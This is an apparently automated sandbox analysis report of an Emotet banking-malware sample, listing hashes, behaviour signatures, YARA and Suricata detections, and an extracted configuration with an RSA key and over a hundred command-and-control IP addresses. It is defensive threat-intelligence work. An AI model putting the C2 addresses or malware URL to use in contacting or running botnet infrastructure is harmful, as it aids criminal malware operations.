Edit tour

Windows Analysis Report
ExeFile (233).exe

Overview

General Information

Sample name:	ExeFile (233).exe
Analysis ID:	1496042
MD5:	59287b19f7d85e749d19a57337103045
SHA1:	9de93499becd7a7501db4895d934d8792e7c91c8
SHA256:	c19a014a1cdf25ec6441d305376dfe78b5c20ada7494fbc4aa2d6f68631df3d9
Tags:	EmotetHeodo
Infos:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Emotet

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Connects to several IPs in different countries

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files to the windows directory (C:\Windows)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential key logger detected (key state polling based)

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

ExeFile (233).exe (PID: 3728 cmdline: "C:\Users\user\Desktop\ExeFile (233).exe" MD5: 59287B19F7D85E749D19A57337103045)

dfscli.exe (PID: 3180 cmdline: "C:\Windows\SysWOW64\rtmpal\dfscli.exe" MD5: 59287B19F7D85E749D19A57337103045)

mibincodec.exe (PID: 424 cmdline: "C:\Windows\SysWOW64\KBDTZM\mibincodec.exe" MD5: 59287B19F7D85E749D19A57337103045)

svchost.exe (PID: 6600 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Emotet	While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.	GOLD CABIN MUMMY SPIDER Mealybug	http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1 http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/ http://ropgadget.com/posts/defensive_pcres.html https://adalogics.com/blog/the-state-of-advanced-code-injections https://asec.ahnlab.com/en/33600/	https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["88.153.35.32:80", "107.170.146.252:8080", "173.212.214.235:7080", "167.114.153.111:8080", "67.170.250.203:443", "121.124.124.40:7080", "103.86.49.11:8080", "74.214.230.200:80", "194.187.133.160:443", "172.104.97.173:8080", "172.91.208.86:80", "200.116.145.225:443", "202.134.4.216:8080", "172.105.13.66:443", "190.164.104.62:80", "50.35.17.13:80", "176.111.60.55:8080", "201.241.127.190:80", "66.76.12.94:8080", "95.213.236.64:8080", "194.4.58.192:7080", "62.171.142.179:8080", "79.137.83.50:443", "190.108.228.27:443", "120.150.218.241:443", "218.147.193.146:80", "176.113.52.6:443", "24.178.90.49:80", "123.176.25.234:80", "138.68.87.218:443", "194.190.67.75:80", "203.153.216.189:7080", "102.182.93.220:80", "37.139.21.175:8080", "50.91.114.38:80", "154.91.33.137:443", "97.82.79.83:80", "75.143.247.51:80", "71.15.245.148:8080", "89.121.205.18:80", "209.54.13.14:80", "47.36.140.164:80", "27.114.9.93:80", "104.131.11.150:443", "24.133.106.23:80", "49.50.209.131:80", "174.106.122.139:80", "2.58.16.89:8080", "157.245.99.39:8080", "137.59.187.107:8080", "220.245.198.194:80", "61.33.119.226:443", "62.75.141.82:80", "112.185.64.233:80", "61.19.246.238:443", "186.70.56.94:443", "37.187.72.193:8080", "190.240.194.77:443", "108.46.29.236:80", "118.83.154.64:443", "121.7.31.214:80", "216.139.123.119:80", "91.146.156.228:80", "119.59.116.21:8080", "89.216.122.92:80", "190.162.215.233:80", "87.106.136.232:8080", "68.115.186.26:80", "62.30.7.67:443", "37.179.204.33:80", "110.145.77.103:80", "78.24.219.147:8080", "185.94.252.104:443", "24.230.141.169:80", "49.3.224.99:8080", "104.131.123.136:443", "74.208.45.104:8080", "115.94.207.99:443", "41.185.28.84:8080", "139.99.158.11:443", "113.61.66.94:80", "67.163.161.107:80", "172.86.188.251:8080", "110.142.236.207:80", "120.150.60.189:80", "87.106.139.101:8080", "61.76.222.210:80", "93.147.212.206:80", "50.245.107.73:443", "85.105.111.166:80", "94.230.70.6:80", "134.209.144.106:443", "202.141.243.254:443", "94.23.237.171:443", "209.141.54.221:7080", "187.161.206.24:80", "76.175.162.101:80", "168.235.67.138:7080", "24.137.76.62:80", "95.9.5.93:80", "123.142.37.166:80", "72.186.136.247:443", "182.208.30.18:443", "186.74.215.34:80", "162.241.140.129:8080", "217.20.166.178:7080", "184.180.181.202:80", "217.123.207.149:80", "202.134.4.211:8080", "72.143.73.234:443", "59.125.219.109:443", "24.179.13.119:80", "5.39.91.110:7080", "109.74.5.95:8080", "46.105.131.79:8080", "91.211.88.52:7080", "94.200.114.161:80", "173.63.222.65:80", "139.162.60.124:8080", "188.219.31.12:80", "139.59.60.244:8080", "190.12.119.180:443", "78.188.106.53:443", "96.245.227.43:80"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x32bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x59ed:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x59ed:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2e4f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x59ed:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2e4f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x32bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x32bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2e4f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.dfscli.exe.219279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.dfscli.exe.219279e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (233).exe.21c279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (233).exe.21c279e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
3.2.mibincodec.exe.218279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.mibincodec.exe.218279e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
3.2.mibincodec.exe.218052e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.mibincodec.exe.218052e.1.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x54bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.dfscli.exe.219052e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.dfscli.exe.219052e.1.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x54bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
3.2.mibincodec.exe.218052e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.mibincodec.exe.218052e.1.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x36bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (233).exe.21c052e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (233).exe.21c052e.1.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x54bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (233).exe.21c279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (233).exe.21c279e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x264f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (233).exe.21c052e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (233).exe.21c052e.1.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x36bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.dfscli.exe.2230000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.dfscli.exe.2230000.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (233).exe.2260000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (233).exe.2260000.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.dfscli.exe.219279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.dfscli.exe.219279e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x264f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
3.2.mibincodec.exe.218279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.mibincodec.exe.218279e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x264f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
3.2.mibincodec.exe.21f0000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.mibincodec.exe.21f0000.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x324f:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.dfscli.exe.219052e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.dfscli.exe.219052e.1.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x36bf:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 25 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 107.170.146.252, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe, Initiated: true, ProcessId: 424, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49735

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 6600, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 74.214.230.200

Timestamp:	2024-08-20T19:11:56.438207+0200
SID:	2035077
Severity:	1
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 194.187.133.160

Timestamp:	2024-08-20T19:09:53.067014+0200
SID:	2035077
Severity:	1
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 103.86.49.11

Timestamp:	2024-08-20T19:11:31.533291+0200
SID:	2035077
Severity:	1
Source Port:	49745
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 88.153.35.32

Timestamp:	2024-08-20T19:10:28.346788+0200
SID:	2035077
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 173.212.214.235

Timestamp:	2024-08-20T19:10:55.327152+0200
SID:	2035077
Severity:	1
Source Port:	49739
Destination Port:	7080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 121.124.124.40

Timestamp:	2024-08-20T19:11:07.013000+0200
SID:	2035077
Severity:	1
Source Port:	49742
Destination Port:	7080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 107.170.146.252

Timestamp:	2024-08-20T19:10:52.310016+0200
SID:	2035077
Severity:	1
Source Port:	49735
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Emotet CnC Activity (POST) M11 - Source IP: 192.168.2.6 - Destination IP: 167.114.153.111

Timestamp:	2024-08-20T19:11:00.118321+0200
SID:	2035077
Severity:	1
Source Port:	49740
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ExeFile (233).exe

Avira: detected

Antivirus detection for URL or domain

Source: https://67.170.250.203:443/vE1qWiF8GUO/OKiMtdK9y/9BlkbfHs/KSvjvc1is4hq83x0Q/qTFsKaNJ2QVx5a/KqpZ4e/	Avira URL Cloud: Label: malware
Source: http://67.170.250.203:443/vE1qWiF8GUO/OKiMtdK9y/9BlkbfHs/KSvjvc1is4hq83x0Q/qTFsKaNJ2QVx5a/KqpZ4e/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.ExeFile (233).exe.2260000.3.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["88.153.35.32:80", "107.170.146.252:8080", "173.212.214.235:7080", "167.114.153.111:8080", "67.170.250.203:443", "121.124.124.40:7080", "103.86.49.11:8080", "74.214.230.200:80", "194.187.133.160:443", "172.104.97.173:8080", "172.91.208.86:80", "200.116.145.225:443", "202.134.4.216:8080", "172.105.13.66:443", "190.164.104.62:80", "50.35.17.13:80", "176.111.60.55:8080", "201.241.127.190:80", "66.76.12.94:8080", "95.213.236.64:8080", "194.4.58.192:7080", "62.171.142.179:8080", "79.137.83.50:443", "190.108.228.27:443", "120.150.218.241:443", "218.147.193.146:80", "176.113.52.6:443", "24.178.90.49:80", "123.176.25.234:80", "138.68.87.218:443", "194.190.67.75:80", "203.153.216.189:7080", "102.182.93.220:80", "37.139.21.175:8080", "50.91.114.38:80", "154.91.33.137:443", "97.82.79.83:80", "75.143.247.51:80", "71.15.245.148:8080", "89.121.205.18:80", "209.54.13.14:80", "47.36.140.164:80", "27.114.9.93:80", "104.131.11.150:443", "24.133.106.23:80", "49.50.209.131:80", "174.106.122.139:80", "2.58.16.89:8080", "157.245.99.39:8080", "137.59.187.107:8080", "220.245.198.194:80", "61.33.119.226:443", "62.75.141.82:80", "112.185.64.233:80", "61.19.246.238:443", "186.70.56.94:443", "37.187.72.193:8080", "190.240.194.77:443", "108.46.29.236:80", "118.83.154.64:443", "121.7.31.214:80", "216.139.123.119:80", "91.146.156.228:80", "119.59.116.21:8080", "89.216.122.92:80", "190.162.215.233:80", "87.106.136.232:8080", "68.115.186.26:80", "62.30.7.67:443", "37.179.204.33:80", "110.145.77.103:80", "78.24.219.147:8080", "185.94.252.104:443", "24.230.141.169:80", "49.3.224.99:8080", "104.131.123.136:443", "74.208.45.104:8080", "115.94.207.99:443", "41.185.28.84:8080", "139.99.158.11:443", "113.61.66.94:80", "67.163.161.107:80", "172.86.188.251:8080", "110.142.236.207:80", "120.150.60.189:80", "87.106.139.101:8080", "61.76.222.210:80", "93.147.212.206:80", "50.245.107.73:443", "85.105.111.166:80", "94.230.70.6:80", "134.209.144.106:443", "202.141.243.254:443", "94.23.237.171:443", "209.141.54.221:7080", "187.161.206.24:80", "76.175.162.101:80", "168.235.67.138:7080", "24.137.76.62:80", "95.9.5.93:80", "123.142.37.166:80", "72.186.136.247:443", "182.208.30.18:443", "186.74.215.34:80", "162.241.140.129:8080", "217.20.166.178:7080", "184.180.181.202:80", "217.123.207.149:80", "202.134.4.211:8080", "72.143.73.234:443", "59.125.219.109:443", "24.179.13.119:80", "5.39.91.110:7080", "109.74.5.95:8080", "46.105.131.79:8080", "91.211.88.52:7080", "94.200.114.161:80", "173.63.222.65:80", "139.162.60.124:8080", "188.219.31.12:80", "139.59.60.244:8080", "190.12.119.180:443", "78.188.106.53:443", "96.245.227.43:80"]}

Multi AV Scanner detection for submitted file

Source: ExeFile (233).exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.3% probability

Machine Learning detection for sample

Source: ExeFile (233).exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00402530 LoadLibraryA,LoadLibraryA,GetProcAddress,EncryptFileA,LoadLibraryA,GetProcAddress,GetProcAddress,LdrFindResource_U,LdrAccessResource,VirtualAlloc,	0_2_00402530
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00402530 LoadLibraryA,LoadLibraryA,GetProcAddress,EncryptFileA,LoadLibraryA,GetProcAddress,GetProcAddress,LdrFindResource_U,LdrAccessResource,VirtualAlloc,	2_2_00402530
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F2650 CryptAcquireContextW,CryptGenKey,CryptCreateHash,CryptImportKey,LocalFree,CryptDecodeObjectEx,CryptDecodeObjectEx,	3_2_021F2650
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F2290 CryptGetHashParam,CryptEncrypt,CryptDestroyHash,CryptDuplicateHash,memcpy,CryptExportKey,GetProcessHeap,RtlAllocateHeap,	3_2_021F2290
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F1FB0 memcpy,GetProcessHeap,RtlAllocateHeap,CryptDestroyHash,CryptDuplicateHash,	3_2_021F1FB0

Source: ExeFile (233).exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00424A99 __EH_prolog,GetFullPathNameA,lstrcpynA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,lstrcpyA,	0_2_00424A99
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_022638F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,FindFirstFileW,_snwprintf,FindClose,	0_2_022638F0
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00424A99 __EH_prolog,GetFullPathNameA,lstrcpynA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,lstrcpyA,	2_2_00424A99
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_022338F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,FindFirstFileW,_snwprintf,FindClose,	2_2_022338F0
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F38F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,_snwprintf,FindClose,FindClose,	3_2_021F38F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49730 -> 88.153.35.32:80
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49742 -> 121.124.124.40:7080
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49735 -> 107.170.146.252:8080
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49739 -> 173.212.214.235:7080
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49745 -> 103.86.49.11:8080
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49747 -> 74.214.230.200:80
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49740 -> 167.114.153.111:8080
Source: Network traffic	Suricata IDS: 2035077 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M11 : 192.168.2.6:49749 -> 194.187.133.160:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 88.153.35.32:80
Source: Malware configuration extractor	IPs: 107.170.146.252:8080
Source: Malware configuration extractor	IPs: 173.212.214.235:7080
Source: Malware configuration extractor	IPs: 167.114.153.111:8080
Source: Malware configuration extractor	IPs: 67.170.250.203:443
Source: Malware configuration extractor	IPs: 121.124.124.40:7080
Source: Malware configuration extractor	IPs: 103.86.49.11:8080
Source: Malware configuration extractor	IPs: 74.214.230.200:80
Source: Malware configuration extractor	IPs: 194.187.133.160:443
Source: Malware configuration extractor	IPs: 172.104.97.173:8080
Source: Malware configuration extractor	IPs: 172.91.208.86:80
Source: Malware configuration extractor	IPs: 200.116.145.225:443
Source: Malware configuration extractor	IPs: 202.134.4.216:8080
Source: Malware configuration extractor	IPs: 172.105.13.66:443
Source: Malware configuration extractor	IPs: 190.164.104.62:80
Source: Malware configuration extractor	IPs: 50.35.17.13:80
Source: Malware configuration extractor	IPs: 176.111.60.55:8080
Source: Malware configuration extractor	IPs: 201.241.127.190:80
Source: Malware configuration extractor	IPs: 66.76.12.94:8080
Source: Malware configuration extractor	IPs: 95.213.236.64:8080
Source: Malware configuration extractor	IPs: 194.4.58.192:7080
Source: Malware configuration extractor	IPs: 62.171.142.179:8080
Source: Malware configuration extractor	IPs: 79.137.83.50:443
Source: Malware configuration extractor	IPs: 190.108.228.27:443
Source: Malware configuration extractor	IPs: 120.150.218.241:443
Source: Malware configuration extractor	IPs: 218.147.193.146:80
Source: Malware configuration extractor	IPs: 176.113.52.6:443
Source: Malware configuration extractor	IPs: 24.178.90.49:80
Source: Malware configuration extractor	IPs: 123.176.25.234:80
Source: Malware configuration extractor	IPs: 138.68.87.218:443
Source: Malware configuration extractor	IPs: 194.190.67.75:80
Source: Malware configuration extractor	IPs: 203.153.216.189:7080
Source: Malware configuration extractor	IPs: 102.182.93.220:80
Source: Malware configuration extractor	IPs: 37.139.21.175:8080
Source: Malware configuration extractor	IPs: 50.91.114.38:80
Source: Malware configuration extractor	IPs: 154.91.33.137:443
Source: Malware configuration extractor	IPs: 97.82.79.83:80
Source: Malware configuration extractor	IPs: 75.143.247.51:80
Source: Malware configuration extractor	IPs: 71.15.245.148:8080
Source: Malware configuration extractor	IPs: 89.121.205.18:80
Source: Malware configuration extractor	IPs: 209.54.13.14:80
Source: Malware configuration extractor	IPs: 47.36.140.164:80
Source: Malware configuration extractor	IPs: 27.114.9.93:80
Source: Malware configuration extractor	IPs: 104.131.11.150:443
Source: Malware configuration extractor	IPs: 24.133.106.23:80
Source: Malware configuration extractor	IPs: 49.50.209.131:80
Source: Malware configuration extractor	IPs: 174.106.122.139:80
Source: Malware configuration extractor	IPs: 2.58.16.89:8080
Source: Malware configuration extractor	IPs: 157.245.99.39:8080
Source: Malware configuration extractor	IPs: 137.59.187.107:8080
Source: Malware configuration extractor	IPs: 220.245.198.194:80
Source: Malware configuration extractor	IPs: 61.33.119.226:443
